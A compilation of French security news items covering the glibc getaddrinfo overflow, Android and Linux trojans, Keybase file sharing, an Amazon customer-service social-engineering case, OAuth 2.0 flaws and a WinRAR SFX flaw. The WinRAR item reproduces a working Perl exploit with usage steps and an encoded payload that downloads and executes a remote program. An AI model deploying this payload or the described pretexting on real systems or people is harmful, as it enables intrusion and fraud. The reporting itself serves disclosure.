Une autre faille critique de sécurité a été découverte dans glibc

Et rend les machines sous Linux vulnérables à l'exécution d'un code à distance

L'année dernière, des chercheurs en sécurité de Qualys ont parlé d'une faille dans glibc, la bibliothèque C de base de toutes les distributions Linux. Baptisée Ghost, la faille permettait à un pirate distant de prendre le contrôle complet d’un système affecté, sans avoir la moindre connaissance préalable concernant les références du système. Pour rappel, la faille se situe au niveau des fonctions gethostbyname et gethostbyaddr, qui sont appelées par les distributions Linux lorsqu’elles doivent gérer des connexions réseau. Un pirate pouvait alors déclencher un dépassement de mémoire tampon (buffer overflow) dans ces fonctions, en utilisant, par exemple, un argument de nom d’hôte non valide lorsqu’une application effectue une résolution de DNS.

C'est encore cette même bibliothèque glibc qui est au cœur d'une vulnérabilité découverte indépendamment par des chercheurs de Google et de Red Hat.

Google a expliqué que la faille CVE-2015-7547, qui est un dépassement de mémoire tampon (buffer overflow) dans la pile glibc du resolver DNS côté client rendant les machines sous Linux vulnérables à l'exécution d'un code à distance, est déclenchée lorsque la fonction getaddrinfo() est utilisée.

« Les dépassements d'octets sont entièrement sous le contrôle de l'attaquant et sont le résultat d'une réponse DNS », a indiqué dans un autre billet Carlos O'Donnell de Red Hat. Il a avancé par la suite qu'une analyse a « démontré qu'il est possible d'écrire des réponses DNS correctes avec des charges utiles qui vont pénétrer la hiérarchie de cache DNS et donc permettre aux attaquants d'exploiter des machines derrière de tels caches ».

« Les tests effectués en local montrent que nous avons été en mesure de contrôler au moins l'exécution d'un appel free() avec un dépassement de tampon et pris le contrôle de l'EIP. D'autres exploitations n'ont pas été testées, mais cette seule tentative suffisait pour montrer qu'il est très probable que le contrôle de l'exécution puisse être acquis sans beaucoup plus d'effort », a précisé O'Donnel.

Le bogue a été signalé aux responsables de la bibliothèque glibc en juillet dernier, mais semble avoir été signalé dans la version 2.9 de glibc en mai 2008. Carlos O’Donnell (de Red Hat), Florian Weimer (de Red Hat) et Fermin J. Serna (de Google) ont travaillé sur un correctif de sécurité.

Serna pour sa part a confirmé que le problème affecte toutes les versions de glibc à partir de la version 2.9, mais qu'il y a des solutions qui peuvent être implémentées pour mitiger temporairement l'impact en attendant que les machines Linux reçoivent un correctif de sécurité.

« La vulnérabilité repose sur une réponse UDP et TCP surdimensionnée (plus de 2048 octets) qui est suivie par une autre réponse qui va écraser la pile », a expliqué Serna. « Aussi, pour en mitiger l'effet, nous suggérons de limiter la taille des réponses (par exemple en vous servant de DNSMasq ou de programmes similaires) acceptées par le resolver DNS localement. Assurez-vous également que les requêtes DNS ne sont envoyées qu'aux serveurs DNS, ce qui limitera la taille des réponses UDP ».

Google a expliqué que plusieurs vecteurs d'exploitations peuvent être utilisés pour utiliser cette vulnérabilité parmi lesquels ssh, sudo et curl.

Les experts encouragent les administrateurs à appliquer le correctif de sécurité immédiatement.

Source : Google, Red Hat

Une famille de trois chevaux de Troie infecte les processus système d'Android

Après avoir obtenu les privilèges utilisateur

L’entreprise de sécurité informatique Dr Web vient de détecter un ensemble de chevaux de Troie opérant sur la plateforme Android. Et le moins qu’on puisse dire est que ces applications malveillantes gagnent en complexité au fil des années.

Pour cette nouvelle découverte, Dr Web note un ensemble de trois malwares nommés Android.Loki.1.origin, Android.Loki.2.origin, Android.Loki.3 qui fonctionnent de concert afin d’infiltrer les terminaux Android.

Pour y arriver, plusieurs actions sont mises en œuvre. D’abord, Android.Loki.1.origin est téléchargé sur le système visé à partir d’une bibliothèque nommée liblokih.so. Une fois téléchargée, cette dernière va se fondre dans un processus système en s’appuyant sur Android.Loki.3. Il faut préciser que selon Dr Web, Android.Loki.3 agit en tant qu’un serveur permettant d’exécuter des scripts shell reçus des tiers malveillants via un serveur de commande et contrôle (C&C).

C’est lui qui permettra à Android.Loki.1.origin d’obtenir des droits d’accès élevés pour effectuer plusieurs actions sur le système infecté. Comme actions envisageables, l’on a par exemple la possibilité de télécharger n’importe quelle application sur Google Play Store, installer et supprimer des applications sur l’appareil, activer ou désactiver des applications, afficher des notifications, suivre les clics sur l’écran de l’appareil, etc.

À côté de ces deux applications indésirables, nous avons également Android.Loki.2.origin qui est utilisée par les attaquants pour installer des applications et afficher de la publicité sur les appareils infectés et cela à partir d’un serveur C&C. En plus de ces tâches, Dr Web souligne qu’Android.Loki.2.origin effectue également de l’espionnage en envoyant aux attaquants des informations relatives à l’appareil infecté (IMEI de l’appareil, adresse Mac, version du système d’exploitation, résolution de l’écran, etc.).

Après avoir envoyé les informations désirées aux tiers malveillants, Android.Loki.2.origin reçoit des instructions à partir du serveur (C&C), par exemple afficher une notification. En cliquant sur cette dernière, l’utilisateur sera redirigé vers un site web ou encore initialisera l’installation d’une application sans le savoir.

Une des particularités avec ces chevaux de Troie, explique Dr Web, c’est que les attaquants installent certains composants de ces malwares dans les dossiers système inaccessibles aux antivirus. Pour pouvoir donc se débarrasser de ces chevaux de Troie, il est recommandé de réinitialiser le système d’exploitation aux paramètres d’usine.

Source : Dr Web

Keybase lance un service de partage de fichiers chiffré de bout en bout

Open source et actuellement disponible en version alpha

Keybase est un système qui permet d’envoyer des messages chiffrés, soit à partir d’une interface dédiée en ligne, soit en ligne de commande avec votre machine Windows, Mac OS X ou Linux. Keybase a commencé à déployer, à certains de ses utilisateurs, un service de partage de fichiers annoncé comme un concurrent plus sûr que les solutions classiques telles que Dropbox, Google Drive, Box, etc. Avec le chiffrement de bout en bout qu’il offre, le nouveau service de partage de fichiers cible bien sûr tout le monde, mais en particulier les individus et organisations qui traitent des informations confidentielles.

Le nouveau service permet aux utilisateurs de créer des dossiers publics de fichiers ou des dossiers privés uniquement accessibles à d’autres utilisateurs qu’ils invitent.

Avec la commande « public », vous pouvez créer des répertoires signés pour tout le monde. Si vos données sont par exemple écrites dans l’emplacement " /keybase/public/votrenom ", chaque fichier que vous écrivez dans ce dossier est signé. « Il n’y a pas de processus de signature manuelle, pas de taring ou de gzipping, aucune signature détachée. Au lieu de cela, tout dans ce dossier apparaît sous forme de fichiers en clair sur les ordinateurs de chacun », explique Keybase. La société ajoute encore que tout ce que vous mettez dans votre dossier public est à vous, mais tout le monde pourra voir les mêmes choses que vous, sans aucun risque côté serveur ou une menace man-in-the-middle.

Une option « private » vous permettra de créer des dossiers chiffrés et privés. Par exemple, " /keybase/private/votrenom " sera un dossier chiffré juste pour vous. Les choses que vous mettez dans ce dossier ne pourront être lues que par vous. Si vous souhaitez que les données de votre dossier chiffré soient lues également par un ami, vous devez simplement ajouter le nom de votre ami, par exemple : " /keybase/private/votrenom, nomdevotreami ".

Les dossiers étant chiffrés de bout en bout, leur contenu n'est pas lisible via les serveurs de Keybase. La société explique en effet que « les serveurs Keybase ne possèdent pas les clés privées qui peuvent lire ces données. Ils ne peuvent pas non plus injecter de clés publiques dans ce processus, pour vous inciter à chiffrer pour des parties supplémentaires ».

La société envisage de permettre aussi aux utilisateurs de Keybase de partager en toute sécurité des fichiers avec d’autres personnes qui n’utilisent pas encore le service. En tant qu’utilisateur de Keybase, vous pourrez par exemple partager un dossier privé avec une connaissance sur Twitter en ajoutant le nom utilisé par cette personne sur le réseau social professionnel, suivi de « @twitter ». Vous aurez par exemple : " /keybase/private/votrenom,nomdevotreami@twitter ".

Contrairement aux services de partage classiques, il n'y a pas de modèle de synchronisation avec Keybase. Les fichiers sont diffusés seulement à la demande.

Les utilisateurs précoces du service de partage de fichiers de Keybase ont bénéficié d’un espace de stockage de 10 Go. La société promet que son service va rester sans pub et gratuit pour les utilisateurs « réguliers », et assure que les données de ses utilisateurs ne seront jamais commercialisées. S’il n’y a pour l’instant pas de plan pour augmenter cette capacité de stockage, il est toutefois probable que la société mette en place un plan premium pour permettre à ceux qui le veulent d’augmenter leur espace de stockage. Il s’agira donc des plus gourmands en espace de stockage, c’est-à-dire les grandes entreprises en général.

Le service de partage de fichiers chiffré de bout en bout est actuellement disponible en version alpha à une sélection d’utilisateurs. La version bêta est en cours de développement.

Source : Keybase

Fraude sur les cartes de crédit en dupant le service client d'un E-commerce

Un client d'Amazon explique qu'un attaquant aurait obtenu ses données de carte de crédit

En dupant le service client

Éric Springer est un ingénieur en développement logiciel et un utilisateur sensible à la sécurité qui estime être assez prudent pour éviter d’être victime de vol de données. Toutefois, il a vécu une expérience avec le site de commerce en ligne Amazon ; expérience à l’issue de laquelle il retient qu’un système a beau être protégé, mais parfois, il ne faut pas grand-chose pour le pirater. En ce qui concerne le système du géant du commerce en ligne, Éric Springer estime que c’est le service clientèle qui est la porte dérobée qui expose les données personnelles des clients.

Éric Springer est un utilisateur « lourd » de la plateforme AWS (600 $/mois) et cela a été repéré par un attaquant. Alors qu’il s’y attendait le moins, il reçoit un email d’Amazon qui le remercie d’avoir contacté le service clientèle, chose qu’il n’avait pas faite depuis bien longtemps.

Par curiosité, Springer se renseigne auprès d’Amazon pour en savoir plus. Il apprend alors qu’il a récemment contacté le service clientèle qui lui envoie ensuite sur demande le transcript du chat. Il se rend donc compte qu’un individu a réussi à obtenir ses informations réelles en engageant une conversation avec le service clientèle.

Dans la conversation, après que le chargé de clientèle lui a demandé sa préoccupation, l’usurpateur a répondu qu'il voulait savoir où sa dernière commande a été expédiée. Avant de répondre à sa question, par précaution, le chargé de clientèle a demandé à l’attaquant de confirmer ses informations personnelles, à savoir nom et prénoms, adresse email et adresse de facturation. L'usurpateur a bien renseigné ces informations même si l’adresse de facturation du propriétaire légitime du compte, Éric Springer, était une fausse adresse que ce dernier utilisait sur internet par précaution. Il l'avait par exemple utilisée pour enregistrer certains domaines.

D’après Éric, les informations fournies par l’attaquant auraient donc probablement été obtenues à partir de Whois, un service de recherche fourni par les registres Internet et qui permet d’obtenir des informations sur une adresse IP ou un nom de domaine.

Le chargé de clientèle étant convaincu qu’il s’adressait à monsieur Éric Springer n’a pas hésité à communiquer le nom du dernier produit acheté, l’adresse d’expédition complète ainsi que le numéro de téléphone. Le fraudeur a également demandé le solde de la gift card sur le compte de Springer, qui était alors de 0 $.

La première partie de la mission était accomplie. Après ce premier chat avec le service clientèle, l’attaquant a obtenu l’adresse réelle de sa cible ainsi que son numéro de téléphone. Il ne reste plus que les informations de la carte de crédit qu’il projette d’avoir dans une autre conversation avec le service clientèle.

Se rendant compte de ce qui se passait sur son compte, Éric a alors contacté Amazon en leur demandant de mettre une note sur son compte, laquelle note indiquait que le compte était à un risque d’ingénierie sociale très élevée et qu’il sera toujours en mesure de se connecter.

Quelques mois plus tard, Éric reçoit un email du service client indiquant qu’il avait à nouveau contacté le site. Le transcrit du chat montre que c’était l’attaquant dans la deuxième étape de son plan, essayant d’avoir les données de carte de crédit de Springer.

Dans la deuxième discussion avec le service clientèle d’Amazon, l’attaquant utilise la même technique pour tenter d’obtenir les quatre derniers digits de la carte de crédit. Cette fois, quand le chargé de clientèle lui demande ses informations personnelles pour vérification, l’usurpateur prend la peine de fournir l’adresse réelle de Springer qu’il a obtenue lors de la phase précédente. Il n’hésite pas alors à demander le moyen de paiement utilisé et il apprend que c'était une carte de crédit. Sans passer par quatre chemins, il demande ensuite les quatre derniers digits, chose que le chargé de clientèle refuse de donner par mesure de sécurité.

N’arrivant pas à obtenir cette donnée de la part du chargé de clientèle, l’attaquant laisse entendre qu’il utilise couramment plusieurs cartes de crédit et qu’en ayant un peu plus d’informations sur la carte qui a permis d’effectuer son dernier achat, il pourrait identifier la bonne carte parmi celles dont il dispose. Pour cela, il demande l’un après l’autre, les deux derniers digits de la carte, le type de carte (VISA, MasterCard ?), la date d’expiration, bref. Il essaie tout ce qu’il peut, mais sans succès. Il décide alors de recontacter le service plus tard.

Après cette deuxième alerte, Éric contacte à nouveau Amazon pour réitérer combien il est important que son compte soit sécurisé et demander de ne pas donner ses coordonnées à quiconque avec un nom et une adresse. Mais la prochaine étape du plan de l’attaquant lui a probablement été fatale. L’usurpateur entre une nouvelle fois en contact avec le service clientèle, mais cette fois, Éric ne peut avoir de transcript. L’attaquant change de technique et contacte Amazon par téléphone, mais la société refuse de donner à monsieur Springer l’enregistrement de la conversation téléphonique. Quant à Éric, il est persuadé que l'attaquant a réussi à obtenir les quatre derniers digits de sa carte de crédit.

Source : Éric Springer

Linux, un nouveau cheval de Troie détecté

Qui espionne les utilisateurs en effectuant régulièrement des captures d'écran du système?

  Dr Web, l’éditeur de solutions de sécurité informatique a découvert, depuis quelques jours, un nouveau cheval de Troie affectant la plateforme Linux. Il se nomme Linux.Ekoms.1 et a été conçu pour effectuer des captures d’écran toutes les trente secondes lorsqu’il accède à un équipement tournant avec Linux.

Pour y arriver, le malware va parcourir l’un des sous-dossiers du répertoire home du système infecté afin de s’assurer qu’il contient des fichiers avec un nom particulier. Ci-dessous les répertoires parcourus par le malware :

• $HOME/$DATA/.mozilla/firefox/profiled
• $HOME/$DATA/.dropbox/DropboxCache

Si les fichiers ne sont pas trouvés, le cheval de Troie choisit un dossier au hasard pour installer sa propre copie et lance cette nouvelle installation à partir du nouveau répertoire. Cette action est effectuée afin de s’assurer que l’application est fonctionnelle. Une fois cette garantie obtenue, Linux.Ekoms.1 se connecte au serveur distant et est prêt à envoyer les données collectées à des adresses codées en dur dans le corps du malware.

Pour collecter les données, le malware effectue des captures d’écran toutes les 30 secondes qu’il sauvegarde dans un dossier temporaire au format JPEG. Si la tentative de sauvegarde au format JPEG échoue, le cheval de Troie lance un autre processus en tentant de sauvegarder ces captures d’écran au format BMP.

Lorsque les sauvegardes sont effectuées avec succès, le malware configure un proxy et télécharge le dossier temporaire sur le serveur distant à intervalles réguliers. Nous rappelons, par ailleurs, que toutes les données transmises entre le cheval de Troie et le serveur de commande et contrôle (C&C) sont chiffrées. Le cheval de Troie en lui-même contient une clé RSA utilisée pour obtenir la clé de la session AES. Le chiffrement est initialement effectué en utilisant la clé publique et le déchiffrement est exécuté en appliquant la fonction RSA_public_decrypt aux données reçues.

En considérant ces fonctionnalités, il parait évident que l’objectif des auteurs de ce logiciel malveillant est d’espionner les activités des utilisateurs sur la plateforme Linux.

Dr Web souligne qu’en plus d’être capable d’effectuer des captures d’écran, « le code du cheval de Troie contient une fonctionnalité spéciale lui permettant d’enregistrer les sons et de les sauvegarder dans un fichier. aat au format WAV. Cependant, il apparaît que cette fonction n’est utilisée nulle part ».

Il faut noter, en outre, qu’aucune communication n’a été faite par Dr Web sur les failles exploitées par le cheval pour infecter le système d'exploitation Linux.

Source : Dr Web

Deux failles dans le protocole OAuth 2.0 découvertes, Qui peuvent conduire à des attaques de type MITM

Un groupe de chercheurs de l’université de Trier (en Allemagne) a effectué une analyse de sécurité de la norme OAuth 2.0. Ils ont découvert que deux types d’attaques auraient pu être utilisés pour briser les autorisations et authentifications dans OAuth.

En guise d’introduction dans le document décrivant leur recherche, ils ont rappelé que le protocole OAuth 2.0 permet aux utilisateurs d’accorder à des parties de confiance un accès aux ressources de fournisseurs d’identité. En plus d’être utilisé pour ce type d’autorisation, OAuth est également souvent utilisé pour l’authentification dans les systèmes SSO (single sign-on, système à authentification unique, une méthode permettant à un utilisateur d'accéder à plusieurs applications ou sites web sécurisés en ne procédant qu'à une seule authentification). Il faut noter qu’OAuth 2.0 est l’un des protocoles les plus utilisés dans ces desseins sur le web avec des entreprises comme Google (avec Google Account), Yahoo (avec YahooID), Facebook (avec Facebook Login) ou Microsoft (avec Live ID) qui jouent le rôle de fournisseurs d’identité et des millions de sites web qui se connectent à ces services jouent le rôle de parties de confiance.

Si OAuth 2.0 est au cœur de nombreuses implémentations à l’instar de celles qui sont citées en sus, l’étude note que la prochaine version du système SSO Open ID Connect va également se baser dessus. Pour rappel, OpenID est un système d’authentification décentralisé qui permet l’authentification unique, ainsi que le partage d’attributs. Il permet à un utilisateur de s’authentifier auprès de plusieurs sites (devant prendre en charge cette technologie) sans avoir à retenir un identifiant pour chacun d’eux, mais en utilisant à chaque fois un unique identifiant OpenID.

« Malgré la popularité d’OAuth, jusqu’à présent les efforts d’analyse ont été orientés pour trouver des bogues dans des implémentations spécifiques et se basaient sur des modèles formels qui faisaient abstraction de nombreuses fonctionnalités web ou ne fournissaient pas du tout un traitement formel », précisent les chercheurs, avant de relever deux vulnérabilités qui peuvent permettre d’exécuter deux attaques.

Les chercheurs ont expliqué que dans la première attaque (aussi connue sous le nom de HTTP 307 Temporary Redirect – redirection temporaire), les fournisseurs d’identité font suivre par inadvertance des identifiants (nom d’utilisateurs et mots de passe) aux parties de confiance ou à un attaquant.

« Cette attaque sévère est causée par une erreur logique dans le protocole OAuth 2.0 et est tributaire de la présence de parties de confiance malveillantes », ont-ils commenté. « Dans cette attaque, le pirate (qui se sert d’une partie de confiance malveillante) glane des informations sur les identifiants de l’utilisateur lorsque celui-ci se connecte à un fournisseur d’identité qui se sert du mauvais code d’état de redirection HTTP ».

Voici le scénario d’attaque qu’ils ont décrit : l'utilisateur se sert d’OAuth pour se connecter à une partie de confiance malveillante gérée par l'attaquant, et est redirigé vers le fournisseur d'identité où il est invité à entrer ses informations d'identification. Les identifiants sont envoyés au fournisseur d'identité via une requête POST, puis vérifiés et par la suite l'utilisateur est redirigé vers l’extrémité de la redirection de la partie utilisatrice. Si le fournisseur d'identité utilise le code d'état de redirection 307 HTTP, la partie de confiance malveillante (c’est-à-dire l'attaquant) recevra également une requête POST contenant toutes les données issues du formulaire précédent, ce qui inclut les informations d'identification de l'utilisateur.

Les chercheurs estiment que, pour résoudre ce problème, seuls les codes HTTP 303 devraient être autorisés dans OAuth étant donné que « la redirection 300 est définie sans ambiguïté pour ne pas utiliser le corps d’une requête HTTP POST ».

La seconde faille implique une attaque sur le site de la partie de confiance : « l’attaquant sème la confusion chez la partie de confiance concernant quel fournisseur d’identité l’utilisateur a choisi au début du processus de connexion/autorisation dans l’intention d’obtenir un code d’authentification ou un token d’accès qui pourrait être utilisé pour usurper l’identité de l’utilisateur ou accéder à ses données ».

Voici le scénario de l’attaque : « l’attaquant manipule la première demande de l’utilisateur de telle façon que la partie de confiance pense que l’utilisateur veut utiliser une identité gérée par un fournisseur d’identité de l’attaquant alors que l’utilisateur voudrait plutôt utiliser une identité gérée par un fournisseur d’identité légal. Par conséquent, la partie de confiance envoie le code d’autorisation ou le token d’accès (dépendant du mode de l’OAuth) délivré par le fournisseur d’identité légal à l’attaquant, qui peut par la suite utiliser ces valeurs pour se connecter à la partie de confiance sous l’identité de l’utilisateur (gérée par le fournisseur d’identité légal) ou accéder à ses ressources protégées ».

Pour pouvoir effectuer cette attaque, les pirates doivent être en mesure de manipuler les requêtes envoyées par les utilisateurs ainsi que les réponses, ce qui signifie qu’ils doivent avoir une présence sur le réseau (attaque Man-in-the-middle).

Les chercheurs ont expliqué que pour résoudre ce problème, OAuth devrait inclure l’identité du fournisseur d’identité dans la redirection d’une certaine façon. « Plus précisément, nous suggérons que les parties de confiance fournissent une extrémité de redirection unique pour chaque fournisseur d’identité. Ainsi, l’information redirigée par le fournisseur d’identité sera encodée dans la requête et la partie de confiance pourra détecter les anomalies ».

Avec ces problèmes résolus, les chercheurs ont estimé qu’OAuth 2.0 est suffisamment sécurisé pour fournir à la fois les autorisations et les authentifications, si elles sont implémentées correctement.

Ian Muscat, responsable de la communication produit chez Acunetix (spécialiste de la sécurité des applications web), a avancé que « lorsqu’il s’agit des processus d’authentification et d’autorisation au sein d’une application web, à moins d’avoir une compréhension profonde de la technologie ainsi qu’une raison spécifique, justifiable et soigneusement réfléchie, ne déployez pas votre propre système d’authentification. À la place, servez-vous d’une bibliothèque ou d’un Framework qui a été examiné par le public et a une communauté active qui traite la question de sécurité comme étant prioritaire ».

Pour Liviu Itoafa, chercheur en sécurité chez Kaspersky Lab, parlant de l’attaque qu’il est possible de lancer contre le site de la partie de confiance, il a avancé que « ce problème implique qu’il doit y avoir un souci du côté de la partie de confiance – par exemple elle pourrait ne pas se servir de HTTPS pour la requête initiale de l’utilisateur ».

Une faille critique dans Winrar permet d'exécuter du code à distance sans élévation de privilège

Exposant ainsi plus de 500 millions d'utilisateurs

Un chercheur en sécurité du nom de Reza Espargham vient d’annoncer la découverte d’une faille critique dans le logiciel de compression Winrar SFX version 5.21. Cette vulnérabilité permet d’exécuter une attaque à distance afin de compromettre le système sur lequel l’application est installée.

En fait le problème se trouve dans la fonction « Texte et Icone » contenant la zone de texte « Texte à afficher dans la fenêtre SFX ». En insérant du code spécifique dans cette zone de texte, des attaquants sont capables de générer à distance une charge utile pour compromettre le système de la victime.

De manière pratique, l’attaquant va d’abord effectuer quelques petites modifications et exécuter le code Perl ci-dessous contenu dans un fichier poc.pl qu’il aura créé.

Code :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/perl
# Title : WinRaR SFX - Remote Code Execution
# Affected Versions: All Version
# Tested on Windows 7 / Server 2008
#
#
# Author      :   Mohammad Reza Espargham
# Linkedin    :   https://ir.linkedin.com/in/rezasp
# E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website     :   www.reza.es
# Twitter     :   https://twitter.com/rezesp
# FaceBook    :   https://www.facebook.com/reza.espargham
#
#
# MS14-064
#
#
# 1 . run perl code : perl poc.pl
# 2 . Right Click on any file and select "add to archive..."
# 3 . select "Create SFX archive"
# 4 . got to Advanced Menu and select "SFX options..."
# 5 . goto to "Text and icon" Menu
# 6 . copy this perl output (HTML) and past on "Text to display in SFX window"
# 7 . Click OK -- OK
# 8 . Your SFX file Created ;)
# 9 . just open sfx file
# 10 . Your Link Download/Execute on your target
# 11 . Finished ;)


#demo https://youtu.be/fo0l0oT4468

use strict;
use warnings;
use IO::Socket;
use MIME::Base64 qw( decode_base64 );
use Socket 'inet_ntoa';
use Sys::Hostname 'hostname';



print "    Mohammad Reza Espargham\n\n";
my $ip = inet_ntoa(scalar gethostbyname(hostname() || 'localhost'));




my $port = 80;

print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . '"></head></html>'."\n\n" if($port==80);
print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . ':' . $port . '"></head></html>'."\n\n" if($port!=80);

my $server = new IO::Socket::INET(  Proto => 'tcp',
LocalPort => $port,
Listen => SOMAXCONN,
ReuseAddr => 1)
or die "Unable to create server socket";

# Server loop
while(my $client = $server->accept())
{
    my $client_info;
    while(<$client>)
    {
        last if /^\r\n$/;
        $client_info .= $_;
    }
    incoming($client, $client_info);
}

sub incoming
{
    print "\n=== Incoming Request:\n";
    my $client = shift;
    print $client &buildResponse($client, shift);
    close($client);
}

sub buildResponse
{
    my $client = shift;
    my $client_info = shift;
    
    my $poc="CjxodG1sPgo8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVt
    dWxhdGVJRTgiID4KPGhlYWQ+CjwvaGVhZD4KPGJvZHk+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJT
    Y3JpcHQiPgoKZnVuY3Rpb24gcnVubXVtYWEoKSAKT24gRXJyb3IgUmVzdW1lIE5leHQKc2V0IHNo
    ZWxsPWNyZWF0ZW9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKQpjb21tYW5kPSJJbnZva2UtRXhw
    cmVzc2lvbiAkKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgn
    aHR0cDovL3RoZS5lYXJ0aC5saS9+c2d0YXRoYW0vcHV0dHkvbGF0ZXN0L3g4Ni9wdXR0eS5leGUn
    LCdsb2FkLmV4ZScpOyQoTmV3LU9iamVjdCAtY29tIFNoZWxsLkFwcGxpY2F0aW9uKS5TaGVsbEV4
    ZWN1dGUoJ2xvYWQuZXhlJyk7IgpzaGVsbC5TaGVsbEV4ZWN1dGUgInBvd2Vyc2hlbGwuZXhlIiwg
    Ii1Db21tYW5kICIgJiBjb21tYW5kLCAiIiwgInJ1bmFzIiwgMAplbmQgZnVuY3Rpb24KPC9zY3Jp
    cHQ+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJTY3JpcHQiPgogIApkaW0gICBhYSgpCmRpbSAgIGFi
    KCkKZGltICAgYTAKZGltICAgYTEKZGltICAgYTIKZGltICAgYTMKZGltICAgd2luOXgKZGltICAg
    aW50VmVyc2lvbgpkaW0gICBybmRhCmRpbSAgIGZ1bmNsYXNzCmRpbSAgIG15YXJyYXkKIApCZWdp
    bigpCiAKZnVuY3Rpb24gQmVnaW4oKQogIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgaW5mbz1OYXZp
    Z2F0b3IuVXNlckFnZW50CiAKICBpZihpbnN0cihpbmZvLCJXaW42NCIpPjApICAgdGhlbgogICAg
    IGV4aXQgICBmdW5jdGlvbgogIGVuZCBpZgogCiAgaWYgKGluc3RyKGluZm8sIk1TSUUiKT4wKSAg
    IHRoZW4gCiAgICAgICAgICAgICBpbnRWZXJzaW9uID0gQ0ludChNaWQoaW5mbywgSW5TdHIoaW5m
    bywgIk1TSUUiKSArIDUsIDIpKSAgIAogIGVsc2UKICAgICBleGl0ICAgZnVuY3Rpb24gIAogICAg
    ICAgICAgICAgIAogIGVuZCBpZgogCiAgd2luOXg9MAogCiAgQmVnaW5Jbml0KCkKICBJZiBDcmVh
    dGUoKT1UcnVlIFRoZW4KICAgICBteWFycmF5PSAgICAgICAgY2hydygwMSkmY2hydygyMTc2KSZj
    aHJ3KDAxKSZjaHJ3KDAwKSZjaHJ3KDAwKSZjaHJ3KDAwKSZjaHJ3KDAwKSZjaHJ3KDAwKQogICAg
    IG15YXJyYXk9bXlhcnJheSZjaHJ3KDAwKSZjaHJ3KDMyNzY3KSZjaHJ3KDAwKSZjaHJ3KDApCiAK
    ICAgICBpZihpbnRWZXJzaW9uPDQpIHRoZW4KICAgICAgICAgZG9jdW1lbnQud3JpdGUoIjxicj4g
    SUUiKQogICAgICAgICBkb2N1bWVudC53cml0ZShpbnRWZXJzaW9uKQogICAgICAgICBydW5zaGVs
    bGNvZGUoKSAgICAgICAgICAgICAgICAgICAgCiAgICAgZWxzZSAgCiAgICAgICAgICBzZXRub3Rz
    YWZlbW9kZSgpCiAgICAgZW5kIGlmCiAgZW5kIGlmCmVuZCBmdW5jdGlvbgogCmZ1bmN0aW9uIEJl
    Z2luSW5pdCgpCiAgIFJhbmRvbWl6ZSgpCiAgIHJlZGltIGFhKDUpCiAgIHJlZGltIGFiKDUpCiAg
    IGEwPTEzKzE3KnJuZCg2KQogICBhMz03KzMqcm5kKDUpCmVuZCBmdW5jdGlvbgogCmZ1bmN0aW9u
    IENyZWF0ZSgpCiAgT24gRXJyb3IgUmVzdW1lIE5leHQKICBkaW0gaQogIENyZWF0ZT1GYWxzZQog
    IEZvciBpID0gMCBUbyA0MDAKICAgIElmIE92ZXIoKT1UcnVlIFRoZW4KICAgICAgIENyZWF0ZT1U
    cnVlCiAgICAgICBFeGl0IEZvcgogICAgRW5kIElmIAogIE5leHQKZW5kIGZ1bmN0aW9uCiAKc3Vi
    IHRlc3RhYSgpCmVuZCBzdWIKIApmdW5jdGlvbiBteWRhdGEoKQogICAgT24gRXJyb3IgUmVzdW1l
    IE5leHQKICAgICBpPXRlc3RhYQogICAgIGk9bnVsbAogICAgIHJlZGltICBQcmVzZXJ2ZSBhYShh
    MikgIAogICAKICAgICBhYigwKT0wCiAgICAgYWEoYTEpPWkKICAgICBhYigwKT02LjM2NTk4NzM3
    NDM3ODAxRS0zMTQKIAogICAgIGFhKGExKzIpPW15YXJyYXkKICAgICBhYigyKT0xLjc0MDg4NTM0
    NzMxMzI0RS0zMTAgIAogICAgIG15ZGF0YT1hYShhMSkKICAgICByZWRpbSAgUHJlc2VydmUgYWEo
    YTApICAKZW5kIGZ1bmN0aW9uIAogCiAKZnVuY3Rpb24gc2V0bm90c2FmZW1vZGUoKQogICAgT24g
    RXJyb3IgUmVzdW1lIE5leHQKICAgIGk9bXlkYXRhKCkgIAogICAgaT1ydW0oaSs4KQogICAgaT1y
    dW0oaSsxNikKICAgIGo9cnVtKGkrJmgxMzQpICAKICAgIGZvciBrPTAgdG8gJmg2MCBzdGVwIDQK
    ICAgICAgICBqPXJ1bShpKyZoMTIwK2spCiAgICAgICAgaWYoaj0xNCkgdGhlbgogICAgICAgICAg
    ICAgIGo9MCAgICAgICAgICAKICAgICAgICAgICAgICByZWRpbSAgUHJlc2VydmUgYWEoYTIpICAg
    ICAgICAgICAgIAogICAgIGFhKGExKzIpKGkrJmgxMWMrayk9YWIoNCkKICAgICAgICAgICAgICBy
    ZWRpbSAgUHJlc2VydmUgYWEoYTApICAKIAogICAgIGo9MCAKICAgICAgICAgICAgICBqPXJ1bShp
    KyZoMTIwK2spICAgCiAgICAgICAgICAKICAgICAgICAgICAgICAgRXhpdCBmb3IKICAgICAgICAg
    ICBlbmQgaWYKIAogICAgbmV4dCAKICAgIGFiKDIpPTEuNjk3NTk2NjMzMTY3NDdFLTMxMwogICAg
    cnVubXVtYWEoKSAKZW5kIGZ1bmN0aW9uCiAKZnVuY3Rpb24gT3ZlcigpCiAgICBPbiBFcnJvciBS
    ZXN1bWUgTmV4dAogICAgZGltIHR5cGUxLHR5cGUyLHR5cGUzCiAgICBPdmVyPUZhbHNlCiAgICBh
